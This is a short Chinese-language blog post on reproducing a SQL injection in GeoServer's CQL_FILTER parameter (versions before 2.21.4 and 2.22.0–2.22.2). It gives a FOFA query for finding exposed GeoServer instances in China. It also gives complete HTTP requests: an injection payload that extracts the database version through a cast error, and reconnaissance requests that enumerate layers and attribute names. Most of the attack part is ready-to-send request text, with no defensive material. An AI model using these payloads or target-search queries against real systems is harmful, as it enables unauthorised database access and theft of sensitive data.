Babing
Published on 2024-08-30 / 1 Visits
0
0

G5-2Geoserver-SQL

G5-2Geoserver-SQL

漏洞描述:

  GeoServer在预览图层的时候,可以对图层进行数据过滤从而渲染出指定位置的图层。由于未对用户输入进行过滤,在使用需要以数据库作为数据存储的功能时,攻击者可以构造畸形的过滤语法,绕过GeoServer的词法解析从而造成[SQL注入](https://so.csdn.net/so/search?q=SQL%E6%B3%A8%E5%85%A5&spm=1001.2101.3001.7020),获取服务器中的敏感信息,甚至可能获取数据库服务器权限。  

影响版本:

GeoServer < 2.21.4
2.22.0 <= GeoServer < 2.22.2

网站图片:

image-20240621131926135

网络测绘:

fofa语法:

app=“GeoServer” && country=“CN”

漏洞复现:

payload:

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=[查询到的图层名称]&CQL_FILTER=strStartsWith([该图层中的属性名称],'x'')+%3d+true+and+1%3d(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+%3d+true HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://your-ip/geoserver/index.html
Connection: close
Cookie: JSESSIONID=1kfz9gw2euktiwv7gc982xdsr
Upgrade-Insecure-Requests: 1

效果图:
PS:特殊符号需要使用url编码
获取GeoServer 中 WFS 服务的图层信息(包括支持的 WFS 版本、支持的数据格式、支持的查询方式、支持的空间参考系统等)

GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://your-ip/geoserver/index.html
Connection: close
Cookie: JSESSIONID=1kfz9gw2euktiwv7gc982xdsr
Upgrade-Insecure-Requests: 1

获取到了地理图层列表信息

获取某个图层的属性名称

GET /geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=图层名称 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://your-ip/geoserver/index.html
Connection: close
Cookie: JSESSIONID=1kfz9gw2euktiwv7gc982xdsr
Upgrade-Insecure-Requests: 1


最后构造payload查询数据库版本信息


Comment